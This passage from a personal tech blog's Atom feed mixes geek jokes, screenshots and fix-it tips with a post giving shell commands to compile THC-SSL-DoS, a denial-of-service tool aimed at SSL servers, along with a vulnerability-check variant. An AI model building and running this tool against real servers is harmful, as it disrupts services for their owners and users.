1-800-DEV-NULL&lt;/li&gt;&lt;li&gt;Yes, friends and neighbors, boys and girls - my PC speaker crashed NT&lt;/li&gt;&lt;li&gt;root:&amp;gt; Sorry, you entered the wrong password, the correct password is 'a_49qwXk'&lt;/li&gt;&lt;li&gt;New linux package released. Please install on /dev/null&lt;/li&gt;&lt;li&gt;Quake and uptime do not like each other&lt;/li&gt;&lt;li&gt;Unix...best if used before: Tue Jan 19 03:14:08 GMT 2038&lt;/li&gt;&lt;li&gt;As you well know, magic and weapons are prohibited inside the cafeteria -- Final Fantasy VIII&lt;/li&gt;&lt;li&gt;Man is the best computer we can put aboard a spacecraft...and the only one that can be mass produced with unskilled labo&lt;/li&gt;&lt;li&gt;Unix is the only virus with a command line interface&lt;/li&gt;&lt;li&gt;Windows 95 makes Unix look like an operating system&lt;/li&gt;&lt;li&gt;How are we supposed to hack your system if it's always down!&lt;/li&gt;&lt;li&gt;God is real, unless declared integer&lt;/li&gt;&lt;li&gt;I'm tempted to buy the slashdot staff a grammar checker. What do they do for 40 hours a week?&lt;/li&gt;&lt;li&gt;Paypal : Please enter your credit card number to continue&lt;/li&gt;&lt;li&gt;It takes a million monkeys at typewriters to write Shakespeare, but only a dozen monkeys at computers to run Network Solutions&lt;/li&gt;&lt;li&gt;Please help - firewall burnt down - lost packet - reward $$&lt;/li&gt;&lt;li&gt;If Linux were a beer, it would be shipped in open barrels so that anybody could piss in it before delivery&lt;/li&gt;&lt;li&gt;Thank you Mario! But our princess is in another castle&lt;/li&gt;&lt;li&gt;Perl, the only language that looks the same before and after RSA encryption&lt;/li&gt;&lt;li&gt;Norton: Incoming virus - (D)ownload and save (R)un after download&lt;/li&gt;&lt;li&gt;I had a dream... and there were 1's and 0's everywhere, and I think I saw a 2!&lt;/li&gt;&lt;li&gt;You sir, are an unknown USB device driver&lt;/li&gt;&lt;li&gt;&lt;u&gt;C isn't that hard: void (*(*f[])())() defines f as an array of unspecified size, of pointers to functions that return pointers to functions that return void&lt;/u&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-4740121371798845148?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4740121371798845148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4740121371798845148'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/11/geek-jokes.html' title='Geek Jokes'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-190921699029709095</id><published>2011-11-15T18:03:00.001+08:00</published><updated>2011-11-15T18:20:47.297+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bt5'/><title type='text'>THC-SSL-DoS on BackTrack5</title><content type='html'>One Oct 24, 2011, The Hacker Choice (THC) released a DoS tool that targeting vulnerable SSL/https servers. Here's how I compile it on BT5 together with a modified version.&lt;br /&gt;&lt;br /&gt;First, I download the modified version of thc-ssl-dos.c from&amp;nbsp;&lt;a href="http://pastebin.com/bKLue33X" style="background-color: transparent;"&gt;http://pastebin.com/bKLue33X&lt;/a&gt;.&amp;nbsp;&lt;span style="background-color: transparent;"&gt;Instead of conducting a real DoS attack, the modified version will merely check if the target server vulnerable or not.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Secondly, I have to install the libssl-dev. I download the latest copy of &lt;a href="http://openssl.org/source/"&gt;OpenSSL&lt;/a&gt;&amp;nbsp;and point the configure script to the libraries.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# tar zxvf openssl-1.0.0e.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# cd openssl-1.0.0e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# make&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; font-family: 'Courier New', Courier, monospace;"&gt;# cd ../thc-ssl-dos-1.4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# ./configure --prefix=/opt/thc-ssl-dos --with-includes=/opt/openssl-1.0.0e/include/ --with-libs=/opt/openssl-1.0.0e/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# make&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# cd /opt/thc-ssl-dos/src&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# ./thc-ssl-dos&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;______________ ___ &amp;nbsp;_________&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;\__ &amp;nbsp; &amp;nbsp;___/ &amp;nbsp; | &amp;nbsp; \ \_ &amp;nbsp; ___ \&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp;| / &amp;nbsp; &amp;nbsp;~ &amp;nbsp; &amp;nbsp;\/ &amp;nbsp; &amp;nbsp;\ &amp;nbsp;\/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp;| \ &amp;nbsp; &amp;nbsp;Y &amp;nbsp; &amp;nbsp;/\ &amp;nbsp; &amp;nbsp; \____&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|____| &amp;nbsp;\___|_ &amp;nbsp;/ &amp;nbsp;\______ &amp;nbsp;/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\/ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; http://www.thc.org&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Twitter @hackerschoice&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Greetingz: the french underground&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;./thc-ssl-dos [options]&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; -h &amp;nbsp; &amp;nbsp; &amp;nbsp;help&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; -l &amp;nbsp; Limit parallel connections [default: 400]&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="background-color: transparent;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# mv /opt/thc-ssl-dos /opt/&lt;/span&gt;&lt;/span&gt;&lt;span style="background-color: transparent; font-family: 'Courier New', Courier, monospace;"&gt;thc-ssl-dos-attack&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; font-family: 'Courier New', Courier, monospace;"&gt;# cd ..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# tar zxvf&amp;nbsp;&lt;/span&gt;&lt;span style="background-color: transparent; font-family: 'Courier New', Courier, monospace;"&gt;thc-ssl-dos-1.4.tag.gz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="background-color: transparent; font-family: 'Courier New', Courier, monospace;"&gt;# cd ../thc-ssl-dos-1.4/src&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; font-family: 'Courier New', Courier, monospace;"&gt;# cp /opt/&lt;/span&gt;&lt;span style="background-color: transparent;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;SSL_Renegotiation_Check_-_thc-ssl-dos.c_modification.txt thc-ssl-dos.c&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent; font-family: 'Courier New', Courier, monospace;"&gt;# ..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# ./configure --prefix=/opt/thc-ssl-dos --with-includes=/opt/openssl-1.0.0e/include/ --with-libs=/opt/openssl-1.0.0e/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# make&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# cd ..&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent;"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# mv /opt/thc-ssl-dos /opt/&lt;/span&gt;&lt;/span&gt;&lt;span style="background-color: transparent; font-family: 'Courier New', Courier, monospace;"&gt;thc-ssl-dos-check&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-190921699029709095?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/190921699029709095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/190921699029709095'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/11/thc-ssl-dos-on-backtrack5.html' title='THC-SSL-DoS on BackTrack5'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-3824961830343634747</id><published>2011-11-15T17:44:00.001+08:00</published><updated>2011-11-15T18:22:39.221+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bt5'/><title type='text'>Install Chromium in Backtrack 5</title><content type='html'>I installed BackTrack 5 recently. I follow the instruction from&amp;nbsp;&lt;a href="http://koko-newbie.blogspot.com/2011/09/install-google-chrome-in-backtrack-5_03.html" style="background-color: transparent;"&gt;http://koko-newbie.blogspot.com/2011/09/install-google-chrome-in-backtrack-5_03.html&lt;/a&gt;&lt;span style="background-color: transparent;"&gt;.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: transparent;"&gt;Here's how I install the Chromium browser into my Backtrack:&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;apt-get install chromium-browser&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;cd /usr/lib/chromium-browser&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;hexedit chromium-browser&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="background-color: transparent;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;ul&gt;&lt;span style="background-color: transparent;"&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;[Tab] to mode string&lt;/span&gt;&lt;/li&gt;&lt;/span&gt;&lt;/ul&gt;&lt;ul&gt;&lt;span style="background-color: transparent;"&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;[ctrl-s], type geteuid&lt;/span&gt;&lt;/li&gt;&lt;/span&gt;&lt;/ul&gt;&lt;ul&gt;&lt;span style="background-color: transparent;"&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;Re&lt;/span&gt;&lt;span style="background-color: transparent;"&gt;place &lt;b&gt;geteuid&lt;/b&gt; as &lt;b&gt;getppid&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/span&gt;&lt;/ul&gt;&lt;ul&gt;&lt;span style="background-color: transparent;"&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;[ctrl-x] to save-and exit.&lt;/span&gt;&lt;/li&gt;&lt;/span&gt;&lt;/ul&gt;&lt;/blockquote&gt;&lt;span style="background-color: transparent;"&gt;&lt;br /&gt;&lt;i&gt;The reason to modify the geteuid with hexedit is to &lt;u&gt;bypass the restriction&lt;/u&gt; on running Google Chrome browser as root.&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-3824961830343634747?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3824961830343634747'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3824961830343634747'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/11/install-chromium-in-backtrack-5.html' title='Install Chromium in Backtrack 5'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-7310903252466000611</id><published>2011-11-15T10:09:00.001+08:00</published><updated>2011-11-17T10:50:58.563+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bossa Vino'/><category scheme='http://www.blogger.com/atom/ns#' term='G+'/><title type='text'>Bossa Vino on Google+ Page</title><content type='html'>&lt;center&gt;&lt;!-- Place this tag in the &lt;head&gt; of your document--&gt;&lt;link href="https://plus.google.com/b/108556941324743106075/" rel="publisher" /&gt;&lt;script type="text/javascript"&gt;(function() {var po = document.createElement("script");po.type = "text/javascript"; po.async = true;po.src = "https://apis.google.com/js/plusone.js";var s = document.getElementsByTagName("script")[0];s.parentNode.insertBefore(po, s);})();&lt;/script&gt;&lt;!-- Place this tag where you want the badge to render--&gt;&lt;g:plus href="https://plus.google.com/b/108556941324743106075/" size="badge"&gt;&lt;/g:plus&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-7310903252466000611?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7310903252466000611'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7310903252466000611'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/11/bossa-vino-on-google-page.html' title='Bossa Vino on Google+ Page'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-7510574380405848249</id><published>2011-11-04T19:57:00.000+08:00</published><updated>2011-11-04T19:57:22.994+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='error'/><title type='text'>I'm sure it is not just me.</title><content type='html'>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-bY4ggzLXDjc/TrPS6A0qjVI/AAAAAAAAABs/2hTndcU7tJg/s1600/fb+maintenance.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="310" src="http://4.bp.blogspot.com/-bY4ggzLXDjc/TrPS6A0qjVI/AAAAAAAAABs/2hTndcU7tJg/s400/fb+maintenance.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;FB Site Maintenance&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-7510574380405848249?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7510574380405848249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7510574380405848249'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/11/im-sure-it-is-not-just-me.html' title='I&apos;m sure it is not just me.'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-bY4ggzLXDjc/TrPS6A0qjVI/AAAAAAAAABs/2hTndcU7tJg/s72-c/fb+maintenance.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-3043335068781687309</id><published>2011-11-04T19:21:00.002+08:00</published><updated>2011-11-04T19:21:55.827+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='error'/><title type='text'>Facebook Account Temporarily Unavailable</title><content type='html'>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-xz2W2ZuhdSU/TrPKgRqihiI/AAAAAAAAABk/KMmf5ZS6mJ0/s1600/fb+fails.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="210" src="http://3.bp.blogspot.com/-xz2W2ZuhdSU/TrPKgRqihiI/AAAAAAAAABk/KMmf5ZS6mJ0/s400/fb+fails.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;FB Account Temporarily Unavailable&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-3043335068781687309?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3043335068781687309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3043335068781687309'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/11/facebook-account-temporarily.html' title='Facebook Account Temporarily Unavailable'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-xz2W2ZuhdSU/TrPKgRqihiI/AAAAAAAAABk/KMmf5ZS6mJ0/s72-c/fb+fails.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6815075859793771800</id><published>2011-11-01T17:15:00.000+08:00</published><updated>2011-11-04T17:17:06.226+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google Reader'/><title type='text'>New Google Reader is like SHIT</title><content type='html'>With the new Google Reader interface becomes like shit, all my notes in Reader gone.&lt;br /&gt;&lt;br /&gt;After some googling, then I manage to find back my note in Reader.&lt;br /&gt;&lt;br /&gt;To access the notes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;http://www.google.com/reader/view/user/-/state/com.google/created&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div&gt;To access the RSS feed of the notes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;http://www.google.com/reader/atom/user/-/state/com.google/created&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;To limit to 100 notes to display:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;http://www.google.com/reader/atom/user/-/state/com.google/created?n=100&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;P/s: the new Google Reader is damn slow in performance.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6815075859793771800?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6815075859793771800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6815075859793771800'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/11/new-google-reader-is-like-shit.html' title='New Google Reader is like SHIT'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5845521117183005156</id><published>2011-10-31T23:12:00.000+08:00</published><updated>2011-10-31T23:12:27.441+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='joke'/><title type='text'>Not Salesforce's Fault</title><content type='html'>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-O2yogwWxvqY/Tq66ZOLNalI/AAAAAAAAABc/UdNLEh44iF8/s1600/salesforce.jpeg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="212" src="http://3.bp.blogspot.com/-O2yogwWxvqY/Tq66ZOLNalI/AAAAAAAAABc/UdNLEh44iF8/s400/salesforce.jpeg" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;It is not my fault ;-(&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5845521117183005156?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5845521117183005156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5845521117183005156'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/10/not-salesforces-fault.html' title='Not Salesforce&apos;s Fault'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-O2yogwWxvqY/Tq66ZOLNalI/AAAAAAAAABc/UdNLEh44iF8/s72-c/salesforce.jpeg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-7924280836508568135</id><published>2011-10-27T17:42:00.000+08:00</published><updated>2011-11-04T17:42:45.762+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vmware'/><title type='text'>Installation/Uninstallation of VMware Player Hangs</title><content type='html'>If you are like me, where the installation or uninstallation of VMware Player keeps hang/fail, then you are lucky here.&lt;br /&gt;&lt;br /&gt;I used to install VMware Player and then I upgrade to VMware Workstation 7.1 (trial). After the trial expire, and I'm planning to uninstall VMware Workstation and keeps only VMware Player (which is free).&lt;br /&gt;&lt;br /&gt;I tried multiple times, the uninstallation process keeps hang (forever). Then I try to download the latest copy of VMware Player, and wish I could install to override it. It doesn't work.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then I tried to be a "good-boy" and follow the installation instruction (manual way) provided by VMware at the following URL:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://faq.sanbarrow.com/index.php?solution_id=1113" style="background-color: transparent;"&gt;http://faq.sanbarrow.com/index.php?solution_id=1113&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Same thing happens.&amp;nbsp;&lt;span style="background-color: transparent;"&gt;I even tried install the new copy using command line as below:&lt;/span&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;VMware-player-4.0.0-471780.exe /z "action"="install"&lt;/span&gt;&lt;/blockquote&gt;Still fails. :-(&lt;br /&gt;&lt;br /&gt;Then I also tried extract the installation EXE to a temporary folder:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;VMware-player-4.0.0-471780.exe /e tempdir&lt;/span&gt;&lt;/blockquote&gt;And then double click the MSI to install it. End up the same&amp;nbsp;&lt;span style="background-color: transparent;"&gt;shit happens.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finally, when I about to give up on VMware, I found 1 last thing to do before switching to VirtualBox.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;start regedit.exe&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;Browse to the following sub-key:&amp;nbsp;&lt;/span&gt;&lt;span style="background-color: transparent;"&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;You should see keys named 0, 1, 2, 3 and 4. In my case I had a folder named "L" before the 0.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="background-color: transparent;"&gt;Remove the key with "L" (actually it is&amp;nbsp;&lt;/span&gt;&lt;span style="background-color: transparent;"&gt;&lt;/span&gt;&amp;nbsp;"└", unicode #2514)&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;It works like a charm now.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;P/s: This is due to Microsoft screws up the registry Internet Zone settings in the registry. With the&amp;nbsp;"└" key, it cause Javascript not to be called from an application.&amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-7924280836508568135?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7924280836508568135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7924280836508568135'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/10/installationuninstallation-of-vmware.html' title='Installation/Uninstallation of VMware Player Hangs'/><author><name>zd</name><uri>http://www.blogger.com/profile/02414829207094666604</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 